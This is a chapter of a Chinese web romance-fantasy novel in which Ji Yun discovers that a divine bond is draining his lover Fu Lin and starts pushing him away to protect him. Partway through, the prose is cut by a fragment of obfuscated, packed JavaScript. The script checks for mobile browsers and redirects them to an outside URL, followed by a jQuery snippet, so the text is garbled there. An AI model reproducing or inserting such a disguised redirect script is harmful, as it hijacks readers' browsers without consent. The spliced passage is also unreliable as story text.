69. 忽然很想哭
作品:《前男友总是偷听我心声》 季昀难得地起了个大早,傅凛被他起身的动静扰醒。
“阿昀?怎么起这么早?”
傅凛睡眼惺忪,意识似乎都还有些朦胧。
他下意识地抓住季昀的手腕,想把人往怀里带。
季昀轻轻挣开,柔声道:
“哥哥,我去公司处理点事,你继续睡会儿,我一会儿就回来。”
傅凛闻言,强撑着精神打算起身。
“我陪你去。”
季昀轻轻按下他,揉了揉傅凛的头发,语调温和。
“哥哥好好休息,等我待会儿回来给你带礼物,好不好?”
傅凛的神力流失一日比一日严重,精神也一日比一日差,平日里同季昀相处,也只是强撑着精神。
“我……”
见傅凛还要强撑着起床,季昀立刻把人塞进被子里。
“哥哥整天和我黏在一起,我都没时间给你准备惊喜了。就当给我一个机会好不好?我保证哥哥醒来就能看见我。”
季昀一面说着一面蜻蜓点水般吻着傅凛,细细密密的吻落下来,将本就神智不甚清晰的傅凛吻得晕头转向,迷迷糊糊便答应了下来。
“那阿昀早点回来。”
季昀珍重地将最后一吻落在傅凛额头。
“好。保证哥哥睁眼就能看见我。”
“好……”
傅凛应着话,迷迷糊糊又沉沉睡去。
看着傅凛闭上眼睛,季昀才敢露出真实情绪。
他望着床上紧闭双眸的傅凛,眼底的悲色几乎要溢出来。
为什么他不能早点发现傅凛的虚弱?
季昀深吸一口气,抬脚走出卧室。
他需要去一个能找到真相的地方。
……
沛霖神殿,藏书阁。
傅凛的身体绝对有问题,而且问题大概率是出在同他的本源神契上。
季昀一本本翻看着藏书,却什么也没找到。
他打开手机看了看时间。
已经快要十点,哥哥估计要醒了。
他当然可以再拖一段时间,毕竟有的是理由和借口。
公司临时有事、处理的项目有问题、回来的路上堵车……
反正傅凛现在对他百分百信任,这么点小事情他不会去求证。
但季昀舍不得。
他答应了哥哥,等他醒来就能看见他。
他舍不得让傅凛的脸上露出一丁点的失落。
算了,晚上趁哥哥睡着了再来看吧。
季昀放下手中的书,正打算掐诀回去,余光却瞥到一册黑色兽皮包裹的残破书卷。
书卷藏在书架的最深层的间隙,不仔细看看不出来。
像是某种诡异的牵引,季昀鬼使神差地认为这书里会有他想要的答案。
他伸出手去,拿下书卷。
……
傅凛终于从黑甜的沉梦中脱身,他下意识地摸了摸身侧,却只摸到冷冰冰的床单。
“阿昀?”
他迅速睁开眼,脑子有一瞬间的空白,一瞬后才想起来季昀去了公司。
还没来得及失落,便听见房门打开的声音。
“哥哥,醒了?”
季昀走进来,傅凛原本有些惊惶的心瞬间镇定下来。
季昀走上前去,倏忽从身后拿出一束粉色郁金香来。
“答应给哥哥带的礼物。”
傅凛愣了一下,随即接过花,脸上荡开笑意,亲昵地捏了捏季昀的脸。
“好漂亮。不过对我来说,醒来能看见阿昀就是最好的礼物。”
他故作郁郁地叹了口气。
“要是下次能一醒来就能抱住阿昀就好了,可惜某人就想着公司……”
傅凛话还没说完,季昀便猛地抱住他。
“对不起哥哥,不知道现在补上来不来得及呢?”
傅凛失笑,回抱住季昀。
“怎么感觉阿昀有些奇怪?”
似乎比以前更柔和,也更爱亲亲抱抱。
“哪里怪了?”
傅凛眉眼带着笑意,模仿着季昀平时撒娇的语气。
“你应该说:哥哥,你怎么那么小气呀。哥哥,你装可怜也没用。哥哥……”
“有用。”
傅凛的话还没说完,季昀就闷声打断。
“有用。”
“什么?”
“装可怜,有用。”
季昀声音闷闷的,傅凛想把人从怀里扯出来看看,却被季昀更强硬地抱住。
“从前我都是装的,其实每次看见哥哥难受的样子,我都心疼得不得了。”
傅凛直觉季昀有些不对劲,试图探听他的心声,却什么也听不见。
他一瞬间有些惶恐。
好像从昨晚开始他就没再听见阿昀的心声了。
或许是神力流失太严重,已经无法支撑读心术了。
“阿昀,你真的……没事吗?”
季昀这才从傅凛的怀里撤出来,眼睛略带些泛红。
他瞪了一眼傅凛,凶巴巴道:“哼,非得凶你才正常是吧,还不许我反思一下自己,心疼心疼你啊!”
见少年这副佯装凶巴巴的生动模样,傅凛的心才稍稍稳定些许。
刚刚的季昀像是一场雾蒙蒙的秋雨,虽然温和,但总让他感觉莫名的悲伤。
现在这样生动如太阳的季昀才正常。
“在我面前,阿昀永远不用反思自己。”
傅凛揉了揉季昀的脑袋,心头一阵刺痛传来,神魂的剧痛让他猝不及防地蹙了蹙眉。
季昀不动声色地后退两步。
“好啦!起来下去吃饭啦。”
“阿昀先下去,我太困了,再睡会儿。”
傅凛向来是能黏就黏,哪里会有这种催促季昀先走的情况?这太过反常。
但傅凛已经没办法去思考这许多,神魂深处的疼痛让他几乎昏厥,他强撑着才没露出破绽。
季昀一句话没多问,只是依言点点头,利落地转身离开。
傅凛看着卧室门再次关闭,这才放心地任由自己晕倒在床上。
寂静的房间内没有一丝声音,只有窗外偶有鸟雀传来鸣叫。
咔哒——
房门再次被打开,门外是站在走廊处的季昀。
他一直未曾离开。
哥哥不希望他看见他这副样子,那他就顺着他。
季昀踏入房内,看着晕倒在床上的傅凛,颤抖着伸出手去抚上他的额头,渊源不断的神力从体内抽离,注入傅凛体内。
但片刻后,那些神力又从傅凛身上剥离,回到季昀的体内。
季昀跪在床边,抿着唇试了一次又一次,然而这些神力就像是甩不掉的狗皮膏药,无论如何都会再次回到他的体内。
这已经是不知道第几次尝试了,季昀感知到神力再次涌入自己的体内,一直强撑着的情绪终于崩溃,他跪在床前,崩溃大哭。
“为什么……为什么会这样?!为什么还是没用……”
“到底、到底要怎么办,到底能怎么办……”
“哥哥、哥哥……”
到了最后,他只能一遍又一遍地喊着哥哥。
然而这次没有人回应他“我在”。
……
傅凛醒来已经是两小时后。
房间内空空荡荡,没有一点季昀的气息。
他脚步还有几分虚浮地推开房门,来到餐厅。
“傅先生醒啦?要吃什么?”
周姨笑着打招呼。
“周姨,阿昀呢?”
“哦,阿昀出门去找朋友玩去了。”
“宋致?”
“不是,好像是从前赛车队的人。”
傅凛愣了愣。
从前赛车队的人?
自从上次聚会他被嘲讽后,季昀就没再和那群人接触。
现在怎么会……
傅凛无端有些心慌。
阿昀不在乎他了吗?为什么还会和那些人接触?
不……阿昀年纪还小,那些人是他的朋友,他放不下很正常。
只是出去玩玩而已,又不是不回家。
他何至于和一群小孩争风吃醋?
傅凛强行按下心头的惶恐,掏出手机给季昀打电话。
对面是一阵嘈杂的音乐声,他应该是在酒吧。
“阿昀,你……”
“哥哥,我这边有点吵,玩完再给你打。诶诶,那杯是我的!”
傅凛话还没来得及说完,季昀便将电话挂了。
“……”
傅凛几欲将手中的手机捏碎,恨不得立刻将季昀抓回来。
可他不敢再惹季昀生气,白白蹉跎两人的时间。
“文砚。”
含杂着怒气的传音在文砚耳边炸响。
“去查查阿昀在哪个酒吧、都和谁在一起。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16812137|184817||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>文砚放下手头的古籍,叹了口气。
“是,神尊。”
……
季昀回到家的时候已经是凌晨,他带着浑身的酒气和一身凉意进门。
客厅没开灯,只有朦胧的月色入户,微微照亮眼前的一切。
季昀走进了才发现傅凛沉着脸坐在沙发上,月色堪堪照亮他的半边脸庞,另一半浸没在阴影里。
他面无表情地盯着季昀,压抑着心底的怒气。
文砚说季昀在酒吧同以前那群狐朋狗友玩得格外开心。
他看着,阿昀似乎已经开心到快忘了家里还有个人在等着。
“怎么玩到这么晚?”
季昀不甚在意地摆摆手,径直走到冰箱前取出一罐可乐。
“和他们好久没见了,就玩得晚了点。”
傅凛的喉结滚了滚,转过头来盯着季昀,整张脸都沉没在黑暗的阴影中。
“是吗?之前不是都不和他们玩了吗?”
“之前不是因为你的事情没和他们来往了嘛。现在想想,他们也没什么恶意,就是开开玩笑。大家都是朋友,又不是开不起玩笑。”
季昀垂下眸子,掩盖住眼底的痛楚。
傅凛见季昀一副无所谓的模样,心底传来密密麻麻的刺痛。
明明当初他不是这样说的,明明、明明当初是他先挡在他身前的。
傅凛忽然感受到一阵无力,神魂处传来的阵痛让他心力交瘁,叫他不知道该说什么好。
长时间的沉默似乎让季昀感觉不满。
“你生气了?”
“能不能别那么小心眼,我就是去喝一顿酒你也要生气?至于吗?”
“一生气就不说话,我也会累的,我有我自己的生活,不是每天都那么多时间围着你转。”
季昀不敢看傅凛,只能借着喝可乐的动作掩盖自己的神情。
就这样对他失望吧。
人类本来就是最善变的种族。
傅凛紧了紧身侧的手,黑暗中,那双手已经满布青筋。
他能怎么办?质问?怨怪?
如果是从前的他,甚至还可能把人关起来吧。
可他不愿意让自己同阿昀最后的时间变成这样。
片刻后,他终于开口,声音沙哑,“对不起,阿昀,是我太小气了。”
季昀动作一顿,表情有些错愕。
“对不起,我下次不会再这样了。阿昀这次原谅我,可以吗?”
“为什么……”
为什么要道歉,明明不是你的错。
为什么要请求他的原谅,明明是他在过分。
“对不起阿昀,别生气了,好不好?”
傅凛起身,来到季昀身前,神色不似方才的那般阴沉,反而带上了几分小心翼翼和委屈,他轻轻晃了晃季昀的衣袖。
他记得季昀说过,装可怜是有用的,阿昀会心疼。
季昀迅速移开目光,他张了张口,还想说些伤人的话快刀斩乱麻,却发现喉头哽咽到说不出话来。
“好不好?阿昀。”
傅凛小心翼翼地伸出手,轻轻抚上季昀的脸颊。
算了,下次再斩吧。
“……好。”
傅凛瞬间被哄好,神色又恢复了温和,拉着季昀便朝着卧室去。
“我放好了洗澡水,阿昀先去泡个澡,我去给你煮点醒酒汤,待会儿我们……”
眼前的傅凛喋喋不休地念着,他以前话从不这样多,这次像是要把一辈子都话都说完似的。
季昀看着眼前絮絮叨叨的人,只觉得自己心底像是长了无数根刺。
当他决定远离傅凛的时候,那些尖刺就不断地往他心底里扎,疼得他死去活来。
可当他狠不下心,就这样随波逐流地顺着傅凛的时候,那些刺又细细密密地搅动着,不断地提醒着什么。
“本源神契,以神之本源为引,缔结共生之契,然凡胎难以承受神源之力,缔结之后,只要结契二人靠近,则施术者神力流逝,汇于受术者之身,直至神源枯竭,施术者神魂俱散。”
书卷上的文字再次骤然跳进季昀的脑海里,他看着眼前为他忙碌的傅凛,忽然很想哭。
可他如今没有哭的资格。
这次轮到他去想办法保护自己的爱人。
他无法接受自己的爱人死去。
哪怕代价是不能相守。
“傅凛,算了吧,我好像有些累了。”

